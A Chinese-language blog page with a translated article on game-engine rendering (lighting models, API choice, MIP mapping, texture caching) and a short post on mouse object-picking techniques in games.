      最终,渲染器是游戏程序员最受评判的地方。在这个行业,视觉上的华丽非常重要,因此它为知道你正在做的买单。对于渲染器程序员,最坏的因素之一就是3D 显卡工业界变化的速度。一天,你正在尝试使透明图像正确地工作;第二天 nVidia 正在做顶点着色编程的展示。而且发展非常快,大致上,四年以前为那个时代的 3D 显卡写的代码现在已经过时了,需要全部重写。 甚至John Carmack 这样描述过,他知道四年以前为充分发挥那个时期显卡的性能所写的不错的代码,如今很平凡 -- 因此他产生了为每个新的id项目完全重写渲染器的欲望。Epic 的Tim Sweeney赞同 -- 这里是去年他给我的评论: 

      我们已经足足花费了9个月时间来更换所有的渲染代码。最初的 Unreal 被设计为软件渲染和后来扩展为硬件渲染。下一代引擎被设计为 GeForce 及更好的图形显示卡,且多边形吞吐量是Unreal Tournament的100倍。 

      这需要全部替换渲染器。很幸运,该引擎模块化程度足够好,我们可以保持引擎的其余部分—编辑器,物理学,人工智能,网络--不改动,尽管我们一直在以许多方式改进这些部分。

      搭配长篇文章的短篇报导(Sidebar):API -- 祝福和诅咒
      那么什么是API? 它是应用程序编程接口,将不一致的后端用一致的前端呈现出来。举例来说,很大程度上每种3D显示卡的3D实现方式都有所差别。然而,他们全部都呈现一个一致的前端给最终使用者或者程序员,所以他们知道他们为X 3D显示卡写的代码将会在Y 3D显示卡上面有相同的结果。好吧,不管怎样理论上是那样。 大约在三年以前这可能是相当真实的陈述,但自那以后,在nVidia 公司的引领下,3D显卡行业的事情发生了变化。 

      如今在PC领域,除非你正计划建造自己的软件光栅引擎,使用CPU来绘制你所有的精灵,多边形和粒子 -- 而且人们仍然在这样做。跟Unreal一样,Age of Empires II: Age of Kings有一个优秀的软件渲染器 – 否则你将使用两种可能的图形API,OpenGL或者 DirectX 之一。OpenGL是一种真正的跨平台API (使用这种API写的软件可以在Linux,Windows和MacOS上运行。), 而且有多年的历史了,为人所熟知,但也开始慢慢地显示出它的古老。 大约在四年以前,定义OpenGL驱动特征集一直是所有显示卡厂商工作的方向。

      然而,一旦在目标达成以后,没有预先制定特征工作方向的路线图,这时候,所有的显卡开发商开始在特征集上分道扬镳,使用OpenGL扩展。
     
      3dfx 创造了T- 缓冲。 nVidia 努力寻求硬件变换和光照计算。Matrox努力获取凹凸贴图。等等。 我以前说过的一句话,"过去几年以来,3D显示卡领域的事情发生了变化。"委婉地说明了这一切。 

      无论如何,另一个可以选择的API是 DirectX。这受Microsoft公司控制,且在PC 和 Xbox 上被完美地支持。由于明显的原因,DirectX 没有Apple或者 Linux 版本。因为Microsoft控制着 DirectX,大体上它容易更好地集成在Windows里面。 

      OpenGL和DirectX之间的基本差别是前者由‘社区’拥有,而后者由Microsoft拥有。如果你想要 DirectX 为你的 3D 显示卡支持一个新的特征,那么你需要游说微软,希望采纳你的愿望,并等待新的 DirectX发行版本。对于OpenGL,由于显示卡制造商为3D显示卡提供驱动程序,你能够通过OpenGL扩展立即获得显示卡的新特征。这是好,但作为游戏开发者,当你为游戏编码的时候,你不能指望它们很普遍。它们可能让你的游戏速度提升50%,但你不能要求别人有一块GeForce 3 来跑你的游戏。好吧,你可以这么做,但如果你想来年还在这个行业的话,这是个相当愚蠢的主意。

      这是对这个问题极大的简单化,对我所有描述的也有各种例外情况,但这里一般的思想是很确实的。对于DirectX ,在任何既定时间你容易确切地知道你能从显示卡获得的特征,如果一个特征不能获得,DirectX 将会用软件模拟它(也不总是一件好事情,因为这样有时侯非常的慢,但那是另外一回事)。对于OpenGL,你可以更加贴近显示卡的特征,但代价是不能确定将会获得的准确特征。

  • 游戏引擎剖析(二)

    2007-01-07 15:52:21

    世界的灯光
      在变换过程中, 通常是在称为观察空间的坐标空间中, 我们遇到了最重要的运算之一: 光照计算。 它是一种这样的事情, 当它工作时,你不关注它,但当它不工作时, 你就非常关注它了。有很多不同的光照方法,从简单的计算多边形对于灯光的朝向,并根据灯光到多边形的方向和距离加上灯光颜色的百分比值,一直到产生边缘平滑的灯光贴图叠加基本纹理。而且一些 API 实际上提供预先建造的光照方法。举例来说,OpenGL 提供了每多边形,每顶点,和每像素的光照计算。 

      在顶点光照中,你要决定一个顶点被多少个多边形共享,并计算出共享该顶点的所有多边形法向量的均值(称为法向量),并将该法向量赋顶点。一个给定多边形的每个顶点会有不同的法向量,所以你需要渐变或插值多边形顶点的光照颜色以便得到平滑的光照效果。 你没有必要用这种光照方式查看每个单独的多边形。 这种方式的优点是时常可以使用硬件转换与光照(T & L)来帮助快速完成。 不足之处是它不能产生阴影。 举例来说,即使灯光是在模型的右侧,左手臂应该在被身体投影的阴影中,而实际上模型的双臂却以同样的方式被照明了。

      这些简单的方法使用着色来达到它们的目标。 当用平面光照绘制一个多边形时, 你让渲染(绘制)引擎把整个多边形都着上一种指定的颜色。这叫做平面着色光照。 (该方法中,多边形均对应一个光强度,表面上所有点都用相同的强度值显示,渲染绘制时得到一种平面效果,多边形的边缘不能精确的显示出来) 。

      对于顶点着色 ( Gouraud 着色) ,你让渲染引擎给每个顶点赋予特定的颜色。 在绘制多边形上各点投影所对应的像素时,根据它们与各顶点的距离,对这些顶点的颜色进行插值计算。 (实际上Quake III 模型使用的就是这种方法, 效果好的令人惊奇)。 

      还有就是 Phong 着色。如同 Gouraud 着色,通过纹理工作,但不对每个顶点颜色进行插值决定像素颜色值, 它对每个顶点的法向量进行插值,会为每个顶点投影的像素做相同的工作。对于 Gouraud 着色,你需要知道哪些光投射在每个顶点上。对于 Phong 着色,你对每个像素也要知道这么多。 

      一点也不令人惊讶, Phong 着色可以得到更加平滑的效果,因为每个像素都需要进行光照计算,其绘制非常耗费时间。平面光照处理方法很快速, 但比较粗糙。Phong 着色比 Gouraud 着色计算更昂贵,但效果最好,可以达到镜面高光效果("高亮")。 这些都需要你在游戏开发中折衷权衡。


    不同的灯光
      接着是生成照明映射,你用第二个纹理映射(照明映射)与已有的纹理混合来产生照明效果。这样工作得很好, 但这本质上是在渲染之前预先生成的一种罐装效果。如果你使用动态照明 (即,灯光移动, 或者没有程序的干预而打开和关闭),你得必须在每一幀重新生成照明映射,按照动态灯光的运动方式修改这些照明映射。灯光映射能够快速的渲染,但对存储这些灯光纹理所需的内存消耗非常昂贵。你可以使用一些压缩技巧使它们占用较少的的内存空间,或减少其尺寸大小, 甚至使它们是单色的 (这样做就不会有彩色灯光了),等等。 如果你确实在场景中有多个动态灯光, 重新生成照明映射将以昂贵的CPU周期而告终。 

      许多游戏通常使用某种混合照明方式。 以Quake III为例,场景使用照明映射, 动画模型使用顶点照明。 预先处理的灯光不会对动画模型产生正确的效果 -- 整个多边形模型得到灯光的全部光照值 -- 而动态照明将被用来产生正确的效果。 使用混合照明方式是多数的人们没有注意到的一个折衷,它通常让效果看起来"正确"。 这就是游戏的全部 – 做一切必要的工作让效果看起来"正确",但不必真的是正确的。 

      当然,所有这些在新的Doom引擎里面都不复存在了,但要看到所有的效果,至少需要 1GHZ CPU 和 GeForce 2 显卡。是进步了,但一切都是有代价的。 

      一旦场景经过转换和照明, 我们就进行裁剪运算。 不进入血淋淋的细节而,剪断运算决定哪些三角形完全在场景 (被称为观察平截头体) 之内或部份地在场景之内。完全在场景之内的三角形被称为细节接受,它们被处理。对于只是部分在场景之内的三角形, 位于平截头体外面的部分将被裁剪掉,余下位于平截头体内部的多边形部分将需要重新闭合,以便其完全位于可见场景之内。 (更多的细节请参考我们的 3D 流水线指导一文)。

      场景经过裁剪以后,流水线中的下一个阶段就是三角形生成阶段(也叫做扫描 线转换),场景被映射到2D 屏幕坐标。到这里,就是渲染(绘制)运算了。


    纹理与MIP映射
      纹理在使3D场景看起来真实方面异常重要,它们是你应用到场景区域或对象的一些分解成多边形的小图片。多重纹理耗费大量的内存,有不同的技术来帮助管理它们的尺寸大小。纹理压缩是在保持图片信息的情况下,让纹理数据更小的一种方法。纹理压缩占用较少的游戏CD空间,更重要的是,占用较少内存和3D 显卡存储空间。另外,在你第一次要求显卡显示纹理的时候,压缩的(较小的) 版本经过 AGP 接口从 PC 主存送到3D 显卡, 会更快一些。纹理压缩是件好事情。 在下面我们将会更多的讨论纹理压缩。 


    MIP 映射(多纹理映射)
      游戏引擎用来减少纹理内存和带宽需求的另外一个技术就是 MIP 映射。 MIP 映射技术通过预先处理纹理,产生它的多个拷贝纹理,每个相继的拷贝是上一个拷贝的一半大小。为什么要这样做?要回答这个问题,你需要了解 3D 显卡是如何显示纹理的。最坏情况,你选择一个纹理,贴到一个多边形上,然后输出到屏幕。我们说这是一对一的关系,最初纹理映射图的一个纹素 (纹理元素) 对应到纹理映射对象多边形的一个像素。如果你显示的多边形被缩小一半,纹理的纹素就每间隔一个被显示。这样通常没有什么问题 -- 但在某些情况下会导致一些视觉上的怪异现象。让我们看看砖块墙壁。 假设最初的纹理是一面砖墙,有许多砖块,砖块之间的泥浆宽度只有一个像素。如果你把多边形缩小一半, 纹素只是每间隔一个被应用,这时候,所有的泥浆会突然消失,因为它们被缩掉了。你只会看到一些奇怪的图像。 

      使用 MIP 映射,你可以在显示卡应用纹理之前,自己缩放图像,因为可以预先处理纹理,你做得更好一些,让泥浆不被缩掉。当 3D 显卡用纹理绘制多边形时,它检测到缩放因子,说,"你知道,我要使用小一些的纹理,而不是缩小最大的纹理,这样看起来会更好一些。" 在这里, MIP 映射为了一切,一切也为了 MIP 映射。


    多重纹理与凹凸映射
      单一纹理映射给整个3D 真实感图形带来很大的不同, 但使用多重纹理甚至可以达到一些更加令人难忘的效果。过去这一直需要多遍渲染(绘制),严重影响了像素填充率。 但许多具有多流水线的3D 加速卡,如ATI's Radeon 和 nVidia's GeForce 2及更高级的显卡,多重纹理可以在一遍渲染(绘制)过程中完成。 产生多重纹理效果时, 你先用一个纹理绘制多边形,然后再用另外一个纹理透明地绘制在多边形上面。这让你可以使纹理看上去在移动,或脉动, 甚至产生阴影效果 (我们在照明一节中描述过)。绘制第一个纹理映射,然后在上面绘制带透明的全黑纹理,引起一种是所有的织法黑色的但是有一个透明分层堆积过它的顶端 , 这就是 -- 即时阴影。 该技术被称为照明映射 ( 有时也称为 暗映射),直至新的Doom ,一直是Id引擎里关卡照明的传统方法。 

      凹凸贴图是最近涌现出来的一种古老技术。几年以前 Matrox 第一个在流行的 3D 游戏中发起使用各种不同形式的凹凸贴图。就是生成纹理来表现灯光在表面的投射,表现表面的凹凸或表面的裂缝。 凹凸贴图并不随着灯光一起移动 -- 它被设计用来表现一个表面上的细小瑕疵,而不是大的凹凸。 比如说,在飞行模拟器中,你可以使用凹凸贴图来产生像是随机的地表细节,而不是重复地使用相同的纹理,看上去一点趣味也没有。 

      凹凸贴图产生相当明显的表面细节,尽管是很高明的戏法,但严格意义上讲,凹凸贴图并不随着你的观察角度而变化。比较新的 ATI 和 nVidia 显卡片能执行每像素运算,这种缺省观察角度的不足就真的不再是有力而快速的法则了。 无论是哪一种方法, 到目前为止,没有游戏开发者太多的使用; 更多的游戏能够且应该使用凹凸贴图。


    高速缓存抖动 = 糟糕的事物
      纹理高速缓存的管理游戏引擎的速度至关重要。 和任何高速缓存一样,缓存命中很好,而不命中将很糟糕。如果遇到纹理在图形显示卡内存被频繁地换入换出的情况,这就是纹理高速缓存抖动。发生这种情况时,通常API将会废弃每个纹理,结果是所有的纹理在下一幀将被重新加载,这非常耗时和浪费。对游戏玩家来说,当API重新加载纹理高速缓存时,会导致幀速率迟钝。

      在纹理高速缓存管理中,有各种不同的技术将纹理高速缓存抖动减到最少 – 这是确保任何 3D 游戏引擎速度的一个决定性因素。 纹理管理是件好事情 – 这意味着只要求显卡使用纹理一次,而不是重复使用。这听起来有点自相矛盾,但效果是它意谓着对显卡说,"看, 所有这些多边形全部使用这一个纹理,我们能够仅仅加载这个纹理一次而不是许多次吗?" 这阻止API ( 或图形驱动软件) 上传多次向显卡加载纹理。象OpenGL这样的API实际上通常处理纹理高速缓存管理,意谓着,根据一些规则,比如纹理存取的频率,API决定哪些纹理储存在显卡上,哪些纹理存储在主存。 真正的问题来了:a) 你时常无法知道API正在使用的准确规则。 b)你时常要求在一幀中绘制更多的纹理,以致超出了显卡内存空间所能容纳的纹理。 

      另外一种纹理高速缓存管理技术是我们早先讨论的纹理压缩。很象声音波形文件被压缩成 MP3 文件,尽管无法达到那样的压缩比率,但纹理可以被压缩。 从声音波形文件到MP3的压缩可以达到 11:1的压缩比率,而绝大多数硬件支持的纹理压缩运算法则只有 4:1 的压缩比率,尽管如此,这样能产生很大的差别。 除此之外,在渲染(绘制)过程中,只有在需要时,硬件才动态地对纹理进行解压缩。这一点非常棒,我们仅仅擦除即将可能用到的表面。

      如上所述,另外一种技术确保渲染器要求显卡对每个纹理只绘制一次。确定你想要渲染(绘制)的使用相同纹理的所有多边形同时送到显卡,而不是一个模型在这里,另一个模型在那里,然后又回到最初的纹理论。仅仅绘制一次,你也就通过AGP接口传送一次。Quake III 在其阴影系统就是这么做的。处理多边形时,把它们加入到一个内部的阴影列表,一旦所有的多边形处理完毕,渲染器遍历纹理列表,就将纹理及所有使用这些纹理的多边形同时传送出去。 

      上述过程在使用显卡的硬件 T & L(如果支持的话)时,并不怎么有效。你面临的结局是,满屏幕都是使用相同纹理的大量的多边形小群组,所有多边形都使用不同的变换矩阵。这意谓着更多的时间花在建立显卡的硬件 T & L 引擎 ,更多的时间被浪费了。 无论如何,因为他们有助于对整个模型使用统一的纹理,所以它对实际屏幕上的模型可以有效地工作。但是因为许多多边形倾向使用相同的墙壁纹理,所以对于世界场景的渲染,它常常就是地狱。通常它没有这么严重,因为大体而言,世界的纹理不会有那么大,这样一来API的纹理缓存系统将会替你处理这些,并把纹理保留在显卡以备再次使用。 

      在游戏机上,通常没有纹理高速缓存系统(除非你写一个)。在 PS2 上面,你最好是远离"一次纹理" 的方法。在 Xbox 上面, 这是不重要的,因为它本身没有图形内存(它是 UMA 体系结构),且所有的纹理无论如何始终保留在主存之中。 

      事实上,在今天的现代PC FPS 游戏中,试图通过AGP接口传送大量纹理是第二个最通常的瓶颈。最大的瓶颈是实际几何处理,它要使东西出现在它应该出现的地方。在如今的3D FPS 游戏中,最耗费时间的工作,显然是那些计算模型中每个顶点正确的世界位置的数学运算。如果你不把场景的纹理保持在预算之内,仅居其次的就是通过AGP接口传送大量的纹理了。然而,你确实有能力影响这些。 通过降低顶层的 MIP 级别(还记得系统在哪里不断地为你细分纹理吗?), 你就能够把系统正在尝试送到显卡的纹理大小减少一半。你的视觉质量会有所下降-- 尤其是在引人注目的电影片断中--但是你的幀速率上升了。这种方式对网络游戏尤其有帮助。实际上,Soldier of Fortune II和Jedi Knight II: Outcast这两款游戏在设计时针对的显卡还不是市场上的大众主流显卡。为了以最大大小观看他们的纹理,你的3D 显卡至少需要有128MB的内存。这两种产品在思想上都是给未来设计的。 

      上面就是第 2 部份。在下面章节中,我们将介绍许多主题,包括内存管理,雾效果,深度测试, 抗锯齿,顶点着色,API等

  • 游戏中对象选取的方法

    2007-01-07 15:35:31

    对于PC游戏,在鼠标大行其道的今天,如何由鼠标的位置判定其下的对象是什么,是几乎所有游戏都必须面对的问题。

    以下提供几种方法,仅供参考。

    1、包围框法:
      一般的,对游戏中的每个对象创建一个伴随的包围框,通过遍历所有可见对象,判定鼠标坐标点是否落在某个包围框的内部来获取其选取的对象。这种方法的优点是简单,算法容易理解,当使用矩形包围框,而对象数量又比较有限的时候,效率也是很好的。缺点是选取不够精确,无法对对象的细节做选取。在2D游戏中,包围框一般是矩形,或者是若干个矩形的组合,而3D游戏使用包围盒,或者包围球或其组合等方式。无论具体方式如何,其算法实质都是一样的。

    2、枚举法:
      效率最低的方法之一。和1,包围框法类似,它也需要遍历所有可见对象,但是由于缺少包围盒机制,只能检测对象位于鼠标下的那个位置是否有有效象素,或者有效的alpha值,对3D对象而言,就是检查鼠标点形成的选取射线是否穿越对象的某个面片。这种方法可以实现很精确的选取,但是由于效率太低,所以很少直接使用,一般先使用方法1减少遍历对象的数量之后,再使用这个方法达到精确的选取。

    3、反馈法:
      这是一个很有效,也很快捷的方法,尤其在3D游戏中,有无可比拟的优越性。反馈法的实现很简单,首先要维护一个后台缓冲区,当绘制目标对象的时候,同时将对象的可见信息(一般是对象图片的Alpha值,或者Z值) 写入后台缓冲,然后检测鼠标对应的缓冲区的位置的值是否有变化,如果变化了,表明刚才绘制的对象可以被鼠标选中。当缓冲使用了复杂一些的Z运算的时候,我们在绘制完成之后,就可以得到一个鼠标可以选取的对象列表,然后只要简单的根据一定的原则从这个列表中提取需要的对象就可以了。这个机制在2D下,一般不维护额外的缓冲区而直接使用绘图缓冲区。3D下,像OpenGL提供了内置的反馈方法,更方便了用户的使用。实际也可以利用Z buffer,模板缓冲等实现类似的机制。这种方法可以实现精确到象素级的选取,而几乎不影响运行效率。缺点是需要对绘制部分的代码有很高的控制权限。

    4、直接映射法:
      这也是一个高效算法,可以达到O(1)的时间复杂度。常见于2D战棋类游戏中。在这类游戏中,场景是用一个二维表存储的,表的每个项,保存着它上面的对象信息,我们可以通过一个简单的算法,由当前的鼠标位置得到表的索引,然后直接读取索引对应的项就完成了选取。在固定视角的3D游戏甚至非固定视角的3D游戏中,也可以使用这种方法。这种方法的缺点是对象在场景中,只能是按二维表,或者多层二维表排布的。这种方法对内存空间的需求也比较大。棋牌类游戏比较适合使用这种方法。

      由于每种方法都有其固有的优缺点,而对游戏而言,场景又千变万化,复杂纷繁。为了能适应实际的需求,上面的方法可以组合使用,从而扬长避短,更好的达成需求。其他一些复杂的选取,比如范围选取(框选)等,也可以由以上几种基本的方法演化而来。

我的存档

数据统计

  • 访问量: 28666
  • 日志数: 35
  • 图片数: 1
  • 建立时间: 2007-01-02
  • 更新时间: 2007-01-14

RSS订阅

Open Toolbar